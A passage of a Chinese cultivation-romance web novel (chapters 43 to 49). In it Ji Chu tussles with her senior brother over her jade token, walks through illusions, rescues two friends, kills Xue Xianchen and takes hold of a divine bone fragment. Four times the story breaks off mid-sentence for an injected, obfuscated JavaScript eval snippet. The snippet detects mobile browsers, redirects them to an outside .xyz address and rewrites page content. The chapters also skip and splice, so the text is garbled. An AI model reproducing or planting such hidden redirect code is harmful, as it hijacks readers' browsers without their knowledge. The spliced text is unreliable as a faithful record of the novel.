那鲜红的字眼在她面前一晃而过,却被来人的手臂挡住,最终也不知道是否彻底压过了“人”字。 纪楚的目光顺着玉书牌被拿走的方向移向面前的人: “师兄?” 孟喻辞仍做着“杨念之”的伪装,闻言上下扫视她一眼,见她虽神色疲惫,好在并无受伤,这才“嗯”了一声,吩咐道: “你先离开这里。” “为什么?” 纪楚下意识反驳: “这里面藏着个邪物,况且我还没见到压阵之宝丢失的地方,我为什么离开!” 孟喻辞面无表情地看着她,淡淡反问: “你说为什么?” “我……” 纪楚一张口便觉得气短。 她知道自己方才一时大意,险些着了那邪物的道。 但若是就这么出去了,她也不愿意。 于是她说: “我现在有防备了,我会小心的,刚刚的情况绝对不会再出现了!” “况且许盈和蒋成旭都在这里,上面还有魔气的痕迹,我怎么能一个人离开?我一定要把这个邪物解决了!” 孟喻辞闻言蹙眉: “还有两个?” 他不再听纪楚胡搅蛮缠,一手拉着她小臂,轻轻松松将她提着朝出口走去,一边道: “不必担心他们,我去处理。” 原本师兄出现的时候,纪楚还觉得放心不少,此刻听他这么一说,纪楚忽然意识到:师兄在这里和他们不是一伙的啊! 因而孟喻辞的这番话听在纪楚耳朵里的意思就是: 他找到许盈和蒋成旭后以后,就会把他们三个齐刷刷全都淘汰。 纪楚心中大呼不妙。 她闭了嘴,由着师兄半推半提着她朝后走,目光落到了师兄拿着她玉书牌的另一只手上…… 孟喻辞正纳罕她怎么忽然老实的时候,手里提着的人果不其然开始搞事了。 她知道自己打不过师兄,一出手就是全力,直接攀着他的手臂,猴子一样往他身上爬,拦都拦不住,简直成了精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228998|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 或许是不想被淘汰的执念太过强烈,纪楚竟然大力出奇迹,真将师兄撞到了身后的墙壁上。 为防止师兄反击将她推开,纪楚直接四肢并用挂在他身上。 一手死死扒着他的肩膀,几乎要将他的衣领拽开,另一手去掰他的手指,试图将玉书牌抢走。 因为悬空挂在他身上的动作,她整个人都贴他贴得极近极紧,柔软的触感像一团不透风的云,将他锁在云层和墙壁中间。 孟喻辞的呼吸随着她的动作停滞了一瞬。 鬼使神差的,他又变回了自己本来的模样。 杨念之本来就足够高了,但孟喻辞比他还要高上几分,腰身覆盖着一层薄而有力的肌肉。 纪楚只觉自己像个挂在树干上的袋子一样被带着上移了几分,原本接力攀附平衡的地方也忽然变得坚硬有力——拽不住了。 她险些摔下去。 孟喻辞下意识伸出手扶住她的腰,掌心内侧贴着的纤细若无骨的触感使他猛的一愣。 这一愣神的功夫,叫纪楚得了机会,一下子拽走了自己的玉书牌。 她计划得逞,并不恋战,果断从师兄身上跳下去,扭头就想逃跑。 谁知孟喻辞反应过来,飞快擒住了她拿着玉书牌的手腕。 一推一压,她直接被反手按在了墙上。 纪楚的鼻尖触及墙壁,右手被师兄反扣在背后,刚到手的玉书牌转了一圈,又回到了师兄手中。 她挫败地闭眼,意识到现在的情况委实有些不太妙了。 “师妹……你好大的胆子。” 孟喻辞扣着她的肩膀将她翻过来,薄薄的眼皮半垂着,窄而锐利的双眼皮半遮半露,尾端细长锋利,居高临下看人时显得格外凌厉。 他的声音有些低沉,一字一句地说出这句话,显然是生气了。 “师妹”两个字像是在牙尖转了一圈才被挤出来,压迫感十足。 纪楚也知道自己这一番操作简直是找死。 ……但总比直接淘汰的要好。 于是她梗着脖子: “是师兄你先威胁我的!我这是无奈之举!” 孟喻辞冷哼一声。 想到她刚才那一番熟练灵活的动作,猴子一样往他身上爬,简直是…… 偏又是个孩子,心思简单言行随性,让他连气都不知道该怎么生。 但到底还是不能就这样轻饶了她。 纪楚这个熊孩子惯会得寸进尺,看着乖巧可爱,实则性子又犟又胆大妄为,今天若是轻易饶了她,明天她就敢顺杆子爬到他头上。 若只是对着他也就罢了,可万一遇上别有用心之人,恐怕要闹出麻烦。 于是他冷着脸,面无表情道: “看来是我往日太好说话,才教你越发无法无天。” 纪楚:师兄这个表情好恐怖! 还不等她想出逃生之法,孟喻辞已上前一步,高大的身影将她完全挤在自己和墙面形成的狭小缝隙里,沉着脸,居高临下地盯着她看。 往日他同纪楚相处时总会刻意收敛气息,像一块凉而不寒的冰,进退得宜。 而此刻他周身的寒意全然外放,如同一柄半出鞘的利刃,纪楚明显感觉到不太自在。 她这会儿才意识到自己当真是不要命了,怎么跟师兄熟起来以后就发了狠忘了情,全然忘了“礼貌客气保持距离”的原则。 万一他盛怒之下,直接把她玉书牌咔嚓了,那她不就完蛋了吗! 冲动了啊! 纪楚脸上的表情从理直气壮倔强不屈,逐渐朝着心虚害怕发展。 然后她飞速滑跪: “我错了师兄,我真的不想被淘汰,你就大发慈悲,把玉书牌还给我吧……” 又是这一招。 他看起来很像吃这一招的人吗? 面对她可怜巴巴的示弱,孟喻辞垂眸,语气柔和: “你伸手,我给你。” 44. 第 44 章 让她伸手,是要给她玉书牌吗? 纪楚心下一喜。 她就知道师兄是个顶顶好的大好人,只消认错态度积极,他什么都会给她的! 于是她期待地伸出手。 “啪”的一声,玉书牌没拿到,掌心反而被毫不留情地拍了一掌。 意识到被骗,纪楚一下子张大了嘴,立马将手收了回来,一脸不可思议地看着孟喻辞: “你骗我!” 亏她还以为师兄是个面冷心热的好人,没想到他竟然能做出这种辜负师妹信任的事! 纪楚气的要命,墙和师兄加起来都挡不住她发火: “你果然是想淘汰我!” 孟喻辞垂眸看了一眼纪楚的玉书牌,上面的“人”和“魆”字交缠在一起,并未分出胜负来。 他什么时候说要淘汰她了? 脑袋瓜里不知道装的什么东西,一个人胡思乱想一通,倒反过来指责他了? 小孩子都是这样神经兮兮的吗? 还是只有纪楚这样? 他思忖着:师尊莫非早就知道带孩子会这样劳心劳力,这才叫他来代管师妹? 他当初是不是答应的太过轻易了? 这边纪楚吱哇乱叫一通,却见师兄始终一言不发地盯着她的玉书牌,修长指尖还无意识地摩挲玉书牌边缘,吓得她简直一口气提不上来,生怕那几根指头用点力气,她的玉书牌就会碎成渣渣。 情急之下她又扒着孟喻辞的胳膊大喊: “不许捏!你今天要是敢淘汰我,回去我就改换师门!再也不要当你师妹了!” 孟喻辞:“……” 这一方空间骤然安静下来,凉风嗖嗖,纪楚下意识打了个冷颤。 师兄的眼睛黑沉冷寂,面无表情地盯着她。 他看着自己这个不知死活的师妹,想捏她脸的冲动再一次冒了上来。 然后他没有控制自己,而是循着本能这么干了。 纪楚正在试图第二次拯救自己的玉书牌,这回没有遇到什么阻力,十分顺利地从师兄手中拿了回来。 谁知道师兄这边松开玉书牌,那边竟然直接伸手捏住了她的脸。 甫一触碰到她的脸颊,光滑柔软的触感瞬间传来,孟喻辞感觉自己指腹一颤,下意识想要轻轻摩挲。 待看到纪楚一双圆溜溜的眼睛正瞪着他时,他才猛的回过神来,意识到自己这举动不太正常。 为了掩饰这一瞬间的晃神,他匆忙又捏住她的脸像扯面一样朝外扯了扯,板起脸淡声威胁: “你敢?” 纪楚知道自己又惹师兄生气了。于是她匆忙藏好玉书牌,然后两手扒住他手腕,果断改口: “唔胡说的,唔就你一个师兄!” 看不出师兄是信了她的鬼话还是没信,反正是松开了她的脸。 纪楚松了口气,急忙揉了揉自己脸颊,以防被师兄扯成不对称的大小脸。 孟喻辞看着她动作,状似不经意问了一句: “你在我面前,好像活泼很多?” 岂止是活泼,比起刚见面时她的那种如临大敌、怕到不敢吭声的状态,此刻的纪楚简直放松的过了头,因而越发显得她一开始的反应不对劲。 纪楚:“……!” 大意了! 一定是这些日子太过安宁,和师兄相处的太过和谐,她竟然逐渐放松了警惕,再加上师兄比前世好说话的多,她就更忍不住在他面前肆无忌惮了。 这样不好不好,她只是想和师兄当一对儿和睦相处的师兄妹,最好是相敬如宾,兄友妹恭,可不敢再惹师兄不快了。 于是她赶忙整理了一下自己的衣服,又帮师兄把被她扯皱的袖子捋平,装作什么都没有发生的样子冲他仰脸笑: “没有的事,师兄,刚刚我那是被邪物影响的后遗症。” 孟喻辞将她一瞬间的怔愣和之后的掩饰看在眼底,神色平静: “原来如此。” 他这个师妹,似乎有什么秘密瞒着他。 * 闹了这么一通,想把纪楚送出去是不可能的了。 孟喻辞只得让她跟着。 两人沿着小路向下走。 一路上邪气弥漫,纪楚不知道师兄会不会看见那些让人烦躁的幻象,但她视线所及一刻也不曾安生。 沈恪和薛羡尘两个人的幻象仿佛长在她眼睛上似的,往哪边瞧都是他们在说垃圾话,中间偶尔夹杂着薛晚凝的厌恶的目光。 纪楚看着这些场景,虽然依然有些心烦,但奇怪的,她却似乎并没有之前那么愤恨绝望了。 或许是因为身边的师兄的存在感太强,以至于这些人都被衬托成了“跳梁小丑”,她甚至能静下心来审视他们的五官和表情。 哇,果然和记忆里一样讨厌。 仿佛知晓了她的嫌弃,眼前的幻象“沈恪”变出一席白衣,朝她伸出一只手,想要牵她的手,一边缓声道: “纪楚,以后拂宇仙宗就是你的家,我就是你最亲密的家人。” ——是他从妖兽口中救下她,带她回拂宇仙宗那天。 他的目光中闪着失而复得的光,那时的纪楚并不知道他在透过自己的脸看着另一个人,还傻傻的以为修真界的仙君都这样亲切。 重活一世的纪楚眼看着面前这只手越来越近,简直像是不幸的“替身”人生在欢迎她来体验,顿时感到一阵恶寒,急忙朝师兄身边迈了一步,拉住他的袖子。 孟喻辞疑惑转头: “怎么了?” 纪楚看到面前的“沈恪”复杂中透着诡异的神色,下意识离师兄更近,几乎要贴在他胳膊上。 五指攥紧了他的袖子,活像是抓着什么救命稻草。 “师兄,我牵着你的袖子走好不好?” 她的声音有点委屈,像是怕他不同意。 见她这般模样,孟喻辞哪里会想不到她是看到了什么。 让她离开她不同意,如今不抓着什么又觉得不安心。 “牵吧。” 他无奈轻叹:“我不会推开你。” 纪楚闻言高兴起来:“师兄你真好。” 孟喻辞见她神色放松不少,连走路的步子都轻快起来,心中不免又生出些许微妙的波澜。 ——她在依赖着他。 只是牵着他的袖子,就能让她这么安心吗? 这种被纪楚依赖的感觉很特别,他并不觉得排斥,甚至隐隐欣喜。 袖口处传来被人拉扯的坠感,随着纪楚的步子时轻时重,他的整只胳膊也被她拖着时前时后地挪动。 分明没有触碰到他的皮肤,却像是有一双手在揉搓他的心,或轻或重的力道仿佛是世间最温和的折磨和引诱,无形间将他的心朝身旁那人拽过去。 他的目光不自觉移向了身边的纪楚。 她正迈着大步,牵着他的袖子,气势汹汹地朝着面前疯狂卖弄的幻象撞去。 沈恪、薛羡尘的幻象被她撞碎,纪楚几乎可以听见藏在深处的那邪物的质问: “为什么?你为什么没有被恶念掌控?” 她晃晃肩膀和脑袋,只是拽着师兄的袖子,却像是拥有了全世界最强的辟邪法宝,一副“我就是这么优秀”的神色,把对方气得不行。 孟喻辞明显感受到路的尽头有什么东西在颤抖,似乎是被气的。 或许是她狐假虎威的行为实在太过招摇,正得意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而刚走出没两步,牵着纪楚的那只手就被人朝后猛得一拉。 转头,就看见纪楚在原地扎了个马步,两手拽着他的手,姿势像是在拔河。 她的表情就好像是前面有什么洪水猛兽。 孟喻辞不由得问了句: “到底是什么幻象?能叫你怕成这样。” 纪楚摇头不肯开口,总不能说是她上辈子轻薄师兄的场景吧…… 她这不肯解释也不许人往前走的行为明显是在消耗孟喻辞所剩无几的耐心。 他眯起眸子,思考着是否要把人提起来强行带过去,却又怕纪楚被幻象吓得狠了,落下什么心魔。 好在纪楚在他动手前率先开口了。 她的语气满是恳求: “师兄,你能再答应我一件事吗?” 纵使知道这幻象是她自己的心结,师兄根本看不到,但纪楚还是觉得和师兄一起走过去太过尴尬。 此刻她的痛苦程度远超先前看见沈恪的时候,甚至有过之而无不及。 这个邪物到底祸害了不少修士,实在是有点本事。 是她错了,她大错特错。 她不由得在心里痛斥自己干嘛要故意去气那个邪物,现在这尴尬的情况简直是她的报应! 于是她弱弱提议: “师兄,你能不能闭上眼睛,让我牵着你走啊?” 46. 第 46 章 “许盈!蒋成旭!” 吊在半空的两人听见这声熟悉的喊声,一抬头,看见纪楚正趴在他们头顶冲他们招手。 “纪楚!” 许盈在偏上的地方,一手攀着石头,一手拉着快要掉下去的蒋成旭,看见纪楚后激动地抬头。 只这一小小的动作,石块便明显一松,许盈和蒋成旭同时惊呼,在半空中晃了两下。 蒋成旭:“……求你抓紧点。” “抱歉抱歉。” 许盈这回不敢乱动了,听见纪楚在上面喊: “你别动!我下来帮你们!” 蒋成旭一急: “不,别让她下——” 一个“来”字尚未说完,就见纪楚已经动作迅速地从旁边拉了根藤蔓绑在自己腰上,又拽了两根结实的拿在手里,“蹭蹭蹭”坠着滑到了他旁边。 蒋成旭:“……你下来的好快……” 纪楚下来才发现不太对劲。 她本以为两人只是不小心掉了下来,只要把藤蔓给他们,就能拉着上去。 但滑到蒋成旭身边后她才看清,两只怨气形成的鬼爪从“水球”身上蔓延出来,正死死扯着蒋成旭的腿和另一只胳膊,将他牢牢锁在半空动弹不得。 如果不是许盈一直不松手,他随时都可能会被拽下去。 并且巨坑中间到处都是怨气,纵使没有被鬼爪直接缠着,她也被这格外浓重的怨气压得难受,胸口格外沉闷,提不上气,更使不出灵力。 怪不得许盈和蒋成旭两个人的表情都那么难看,迟迟没有召剑出来自救。 蒋成旭一脸郁闷地解释: “我被幻象困住,挣脱不开。” 朋友出现后,许盈憋着的那口气终于可以松上半分,忍不住骂道: “到底是什么东西你舍不得砍?!要不是我及时找到你!你就喂下面那水球了!” 蒋成旭似有苦衷,任凭她怎么骂都不回答,许盈因而更加生气: “你爱说不说!反正被怨气缠着的人不是我!” 她虽然这么说着,抓着蒋成旭的手却没有放松半点。 坑边借力的石头不知不觉间又朝外移动了几分,两人被鬼爪扯着一起朝下移了半寸。 与此同时,纪楚抓紧时间用一根藤蔓绕过许盈的腰,把她牢牢捆住后,又试图用另一根藤蔓去绑蒋成旭。 只是蒋成旭吊着的角度不好,她绑了半天都没成功。 头顶的石头滚了下去,瞬间被坑底的怨气覆盖。 许盈的一只手解放出来,两手拽着蒋成旭的胳膊,额头青筋都快要崩出来,拼命将他从鬼爪手中抢了一点上来。 纪楚急忙像套羊一样把蒋成旭的腰套在藤蔓上。 只是还不等他们松一口气,那鬼爪就再度施加力气,许盈和纪楚两个人一齐被朝下拽去。 蒋成旭的腿已经快要碰到下面的“水球”。 “水球”里面包裹着的恶念和残魂伸出胳膊,将球面顶得老高,如同球上一个骤然突出的尖角。 一低头,甚至能看到形貌可怖、双目泛红的鬼脸。 只隔着一层薄薄的、半透明的膜,那些残魂仿佛随时都会冲出来,恶狠狠地咬下他一块肉。 纪楚看了一眼就觉得难受。 一想到师兄竟然直接跳进了这堆东西里,她越发担心起来。 三个人废了半天劲,也就只能勉勉强强和鬼爪拉成平衡,蒋成旭觉得自己好像都被上下齐齐发力拉成了长条状的人。 眼看很有可能变成三个人一起掉下去,他张了张嘴,正想说话,被许盈提前预判: “你最好少说屁话!” 蒋成旭先是诧异,随后表情从郁郁挣扎又恢复成了以往的疏朗,故意开玩笑说: “你不会以为我要说拉不动就放手吧?其实我刚刚是想说,我们三个这样手拉手吊在怨气中间,好像一串风干的熏肉啊……” 纪楚:“……” 该死的她竟然觉得饿了。 蒋成旭继续说: “其实直接吃就挺好吃的了,但是我更喜欢加点蒜泥小米辣爆炒一下,这样更香。” 许盈露出痛苦的表情: “我想松手擦擦口水。” 蒋成旭大惊:“不要啊女侠!” 许盈趁机威胁他说:“你要是不告诉我你看见了什么才会被恶念抓住,我绝对会松手的!” 蒋成旭“啧”了一声:“我可真害怕啊……” 他们几个你一言我一语地聊起了吃,纪楚觉得拉着蒋成旭的鬼爪力气好像松了几分,不再像刚才那样拼命往下拽。 她想到了自己先前得意忘形,结果把那邪物气得直接放大招揭她老底。 看来这邪物听得懂他们说什么,也颇通人性。 她心生一计,动了动身子,借着藤蔓将自己挪到许盈身边,小声耳语: “水球是活的,它会生气。” 许盈立马明白她想做什么,于是提高声音说: “你不说我也知道,这邪物看着又丑又笨的,能造出什么幻象啊!无非就是上课被骂,修行受阻,道侣出轨,一点意思都没有。” 蒋成旭接到两人给的信号,也立马跟着说: “就是!这邪物在地下不知道埋了多少年,老古董一个,它懂什么啊!” 下方大张着嘴的“水球”忽然发出一声巨大的呼气声,将挂着三人的藤蔓吹得左右乱晃。 许盈和蒋成旭一脸惊喜:“它还真生气啊!” 纪楚低头看向下面骤然躁动起来的“水球”,里面的残魂简直像是炸了锅一样地嘶吼挣扎,感觉不太对劲: “有点奇怪啊……” “别管奇不奇怪的,管用就行!” 许盈继续发力: “长的这么恶心,怪不得会被地煞锁魂阵锁起来,恐怕是怕它出去把人恶心吐吧——” 她话音刚落,底下的邪物忽然从中间一点爆发出巨大的亮光,随后“水球”中间包裹着的恶念和残魂齐声尖啸起来,在“水球”的表面撕扯着撞击着。 某个瞬间,一道极其细微的、仿佛碎纸般的声音自“水球”表面响起,然后那膨胀到快要爆炸的邪物就当着他们的面炸了开来。 浓重的邪气如火山喷发般瞬间从地步冲了上来。 抓着蒋成旭的鬼爪不知何时消散了,他们三个被这股剧烈的气流冲撞散开,如同几片被狂风裹挟而起的叶子,一下子被冲散到了不同的方向。 幸亏有藤蔓捆着,不至于直接飞没影。 纪楚在水球爆炸的同时下意识低头寻找,却没有看见师兄的影子。 “水球”忽然爆炸,十有八九就是师兄做的。他没有出现和她汇合,一定是被什么东西困住了。 只是她如今吊在半空什么也做不了,只得牢牢抓紧藤蔓,试图借着这股冲击力把自己甩到巨坑上边去。 许盈和蒋成旭已经用同样的方法成功荡了上去,此刻正在坑边冲她挥手,示意她快点上去。 纪楚便也卯足了力气,一跃而上—— 许盈及时拉住她胳膊,将她拽了上去。 纪楚道谢,刚站稳,就在蒋成旭身边看见了一个她没想到的人——薛羡尘。 纪楚当即脸色一变,拔剑抵在了薛羡尘脖子上。 薛羡尘目光瞥过剑刃,冲她一笑,语气却故意装作茫然无辜: “阿楚这是何意?” 许盈见纪楚杀气凌凌,并不多问,直接拔出了剑对着薛羡尘。 唯独蒋成旭有些摸不着头脑,他没有上前阻拦,只问纪楚: “这是怎么了?” 纪楚转向蒋成旭:“他就是伤你的魔!” 蒋成旭先是诧异,随后解释道: “你误会了,纪楚,他不是魔,他是薛羡尘,当时魔族攻击我,还是他替我挡了一下。” “薛羡尘?” 许盈打量面前的“薛晨”几眼,长剑不动: “薛羡尘也不是什么好东西!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253308|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪楚听见蒋成旭的话,下意识诧异道: “他救你?怎么可能?” 薛羡尘脸上的笑意更浓: “原来,阿楚以为那只魔是我啊?” “好遗憾,阿楚……猜错了呢。” 他说着“遗憾”,话里却并无遗憾之意,甚至还略微抬起下巴,主动将脖子朝纪楚的剑刃上送: “不知我是哪里给了阿楚这样的误解,但是无妨,阿楚想对我做什么都行……杀我也行。” 许盈和蒋成旭都看着他们。 纪楚握剑的手捏了又捏,最后还是将剑放了下去。 “怎么会呢?” 她露出个狰狞的笑: “我不是那种为了赢不择手段杀害同门的人。” 薛羡尘这下子眼里是真切的遗憾了。 好可惜,被纪楚用这样的表情一剑抹喉,一定会很爽吧…… 见无事发生,蒋成旭说: “邪物炸开的突然,残魂怨气到处流窜,我们还是得找到地煞锁魂阵的压阵宝物,才能将这里彻底封住。” 许盈指了指下面邪物炸开后露出的地方: “有两个洞口,我们是一起,还是分头……” “分开走。” 纪楚果断道:“我和薛羡尘去左边,你们去另一个。” 许盈原本还想和纪楚一起,没想到她竟然选了薛羡尘,只好说: “那你注意安全。” “放心吧。” 纪楚冲她点头:“我不会有事的。” 四人分开。 纪楚在前面走得飞快,薛羡尘追着她走在后面,上前一步想要拉她的手,被纪楚躲开的同时反手扇了一巴掌。 她全然没了第一次打他时的紧张,甚至反问他: “怎么?我打你,你不高兴吗?” 见薛羡尘颇有些意外地抬眼看她,纪楚又道: “我还以为你是变态呢?难道不是吗?” 薛羡尘指腹轻轻摩挲自己红肿的脸,盯着纪楚,一双眼睛毒蛇似的在她脸上巡视,片刻后蓦地笑了起来: “喜欢……” 他一句话尚未说完,纪楚抬手又给了他一巴掌。 这一下打得又狠又重,直接将他扇得嘴角破口出血。 纪楚声音冷而阴森,全然没了平时那种可爱灵动的模样: “你要是敢对我的朋友动手,我一定叫你死无葬身之地!” 自重生以来,她一直保持着天真烂漫积极乐观的姿态,但上辈子朋友惨死的恨意丝毫没有消失,一直埋在她心底。 她只是不想浪费时间去恨,她只是想珍惜重生的机会,弥补前世错过的东西。 薛羡尘先是为她骤然表露出来的负面情绪震惊,随后眼神又一点点变成了带着怨毒的沉迷。 这样漂亮的、倔强的、连恨意都如此生动的存在……他似乎更喜欢了呢…… 抓住她,占有她,让她和自己一样沉在黑暗中,她会在黑暗中剧烈地燃烧起来吗? 只是想想这种可能,他就忍不住激动起来,呼吸也变得沉重,感觉自己骨子里有什么东西在蓬勃地燃烧起来,烧得他五脏六腑都跟着变得滚烫。 他的手腕因为激动而微微颤动,忍不住抬起手,想要触碰纪楚的脸。 剑光一闪。 纪楚没有给他抬手的机会,直接一剑抹了他的脖子。 薛羡尘的玉牌开始碎裂,纪楚瞥了一眼,发现这个魔头竟然还是“人”的身份。 这玉书牌果然是个不靠谱的骗子。 薛羡尘露出痛苦神情。 虽然是薛晨的身体,但死亡的痛楚还是真切地留在他的本体上。 脱离小世界的前夕,他看着纪楚,喉咙因为纪楚毫不犹豫的一剑而痛到发不出声音,口吐鲜血,语不成掉,但脸上却挂着诡异的笑,拼命吐出一句话: “你是不是,早就知道,我……” “纪楚,我在外面等你……” 49. 第 49 章 纪楚愣神间,师兄忽然朝她走了过来。 她顿时紧张起来。 然而孟喻辞却只是抬手,帮她顺了顺跑乱的头发。 而后他敛起笑,又恢复了淡漠神色: “除了你,不要让任何人接触到神骨。” 他又强调了一遍,似乎很是严肃。 纪楚这次精神放松不少,忍不住询问原因。 “为什么?” 她并不知道神骨会勾起人心的恶念,也不知道自己的特别。 孟喻辞不欲解释,只轻推她肩膀: “快去吧,你没有多少时间了。” “啊啊我先走了。” 纪楚猛的反应过来,等天亮了就来不及了,她于是赶忙抱着球跑了。 又只剩下孟喻辞一个人。 但这回看着纪楚的背影,他已经没了先前那种寂寥落寞的心境,反而觉得充盈宁静。 她能不能利用好这一小片神骨碎片还未可知。 但他决定给她这个机会,就得承担师尊的问责,以及失败的后果。 在那之前,就只静下心来,等待天亮吧。 * 纪楚回到了入口处,蒋成旭和许盈等在那里。 见她一个人出来,许盈立马欢呼着迎上来: “我赢了我赢了!” 反观蒋成旭则垂头丧气: “怎么还真动手了……好吧好吧,我输了。” 看样子,是在赌她会不会杀薛羡尘。 “我找到压阵之宝了。” 纪楚走过去,将抱着的球展示给他们看,一脸认真: “薛羡尘是魔,就是他偷走了压阵之宝。” 虽然有点半真半假,但是和事实差不多。 许盈和蒋成旭果然不相信。甚至许盈还拍拍纪楚的肩膀,一脸“我懂你”的表情: “没事的纪楚,他在宗门那样烦人,你忍不住动手很正常。况且这是比赛,成王败寇,就该如此!” 纪楚叹气。 她就知道没人信她。 毕竟薛羡尘在拂宇仙宗的时间比她还长,身份灵力样样正常,连生死台都上过,无凭无据的,谁会相信他是魔呢? 蒋成旭看着纪楚手里的球,问道: “这真的是压镇之宝吗?我看着它,总觉得有点说不上来的……” “奇怪是吧,我也有点。” 许盈点头: “这感觉就像是空口吃了整整一锅炒鸡心,虽然好吃吧,但是却有点腻;虽然腻吧,但是还有点想吃……” 她说着说着,就忍不住想要伸手去碰。 “别!” 纪楚赶忙拦住她:“别碰这个!” “哦……哦。” 许盈点头,解释道: “不好意思,我看着这东西,就有点控制不住我自己……” 蒋成旭也有点被神骨控制,勉强稳住心神,问道: “纪楚,你拿着它,没有感觉不对劲吗?” “没有啊,你们这是……不舒服吗?” 纪楚忽然想到,师兄见她醒来后震惊的神情,以及“不要让别人接触神骨”的告诫。 难道只有她能碰到神骨? 先前梦见的猴子说的“特殊之人”,以及在藏书阁看到的书上的内容再次浮现在她脑海。 不会吧…… 难道她真的不一般? 这个想法也太自信太中二了吧! 纪楚揉了揉自己脸,避免陷入中二主义陷阱。 然后她又想起来,前世她试图从薛羡尘身上把神骨挖出来,当时已经摸到了骨头,然后她就看见了“金色眼睛”,这次好像也是…… 总不会这两件事中间,有什么关联吧? 不可能吧…… 赵一岩师兄见到金色眼睛后入魔,而她也差点被金色眼睛吞掉。 那金色眼睛,似乎不是什么好东西…… 怎么能和神骨扯上关系呢? “纪楚!” 一声叫喊打断了她的走神。 蒋成旭和许盈担忧地看着她: “你脸色怎么这么难看,你还好吗?” “我挺好的。” 纪楚机械地点点头。 不行不行,不能再细想了,再想下去她的头和人生观就都要爆炸了。 天快亮了,当务之急是解决掉这里的问题。 于是她稳住心神,对蒋成旭和许盈讲了师兄的话,以及她的打算。 如果压阵之宝留在这里会被邪物利用,那为什么不能在离开之前把邪物处理干净呢? 许盈和蒋成旭对纪楚十分信任,并不追究“压阵之宝”为什么这么奇怪,又为什么只有纪楚能碰,而是顺着她的思路问道: “可是怎么才能把邪物处理干净呢?如今大部分人都已经被淘汰,我们的玉书牌随时都有可能自爆,时间根本来不及,除非纪楚你……” 纪楚摇头,打断蒋成旭的话: “我不确定自己是什么。” 她拍拍腰间挂着的玉书牌: “不想看,也不重要。” 她拔出自己的剑,右手握剑,左手拿着神骨碎片,看向两人: “我想赌一次。” * 借助神骨碎片的力量,重开地煞锁魂阵,将整座城的魔物重新聚拢到这里,而后一举消灭。 听见来有点痴人说梦。 “但是好酷。” 许盈一脸的骄傲: “我辈修仙,本就是与天争,与命争,干的全是痴人说梦的事,不差这一件!” 她拍拍胸脯: “交给我!定把这些邪祟灭的干干净净!” “我也同意。” 蒋成旭说:! “但是有个问题,如何保证邪物不会在聚拢的同时,再次利用压阵之宝呢?” 纪楚低头,看向手里的神骨,低声道: “我来保证。” 纪楚并非是在说胡话。 她只是觉得,如果连邪物都能利用神骨碎片,那她作为一个能碰到神骨、且毫无副作用的修士,为什么不能呢? 假如,假如金色眼睛真的和神骨碎片有关。 那她连金色眼睛都能砍,怎么就不能驾驭得了神骨碎片呢? 她想试试。 许盈和蒋成旭十分果断,敲定了方案就立马开始行动。 三人迅速找到阵心原本放置压阵之物的位置。 纪楚将神骨放了上去。 地煞锁魂阵重新启动,四处流窜的邪物和邪气逐渐被收拢回来,无形的锁链遍布阵中,空气变得粘稠而血腥。 较为强大的邪物意识到是神骨归位,冲向阵心,企图争夺宝物。 蒋成旭和许盈同时出剑。 灵均以压山之力,剑气横扫一片,无一邪物存活。 丹雨则灵巧锐利,剑光如春风化雨,美而不妖,亦将邪物杀得片甲不留。 纪楚看似冷静,实则紧张的手心冒汗,一直关注着身边的动静。 果然,许盈和蒋成旭迎战邪物时,一层薄薄的水汽由远至近,逐渐铺到她身边的地上。 随后那水汽忽然从地面上膨胀升起,化作密不透风的水墙朝纪楚压了下来。 粘腻的触手从水墙中伸出,两根直冲纪楚面门,一根弯曲,试图卷走神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266717|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨。 水汽中央浮现出一张朦胧的脸,裂口大张似嘴,想要吞噬神骨。 纪楚一手按住神骨,一手握剑,斜劈而下,斩落了三根触手。 触手落地化做水雾瘫在地上,随后故技重施,再次膨胀起更厚更高的水墙,几乎将纪楚彻底封死在水雾形成的壳子里。 这邪物与先前那巨大的“水球”有些相似。 从外面看来,纪楚和神骨俨然已经被“水球”吞噬,逃无可逃了。 许盈和蒋成旭已将大半邪物处理干净,剩下一些当着他们的面被触手抓走,连他们自己也被触手缠上,一时挣脱不开。 “纪楚!” 蒋成旭喊她: “天快亮了!我的玉书牌开始碎了!” 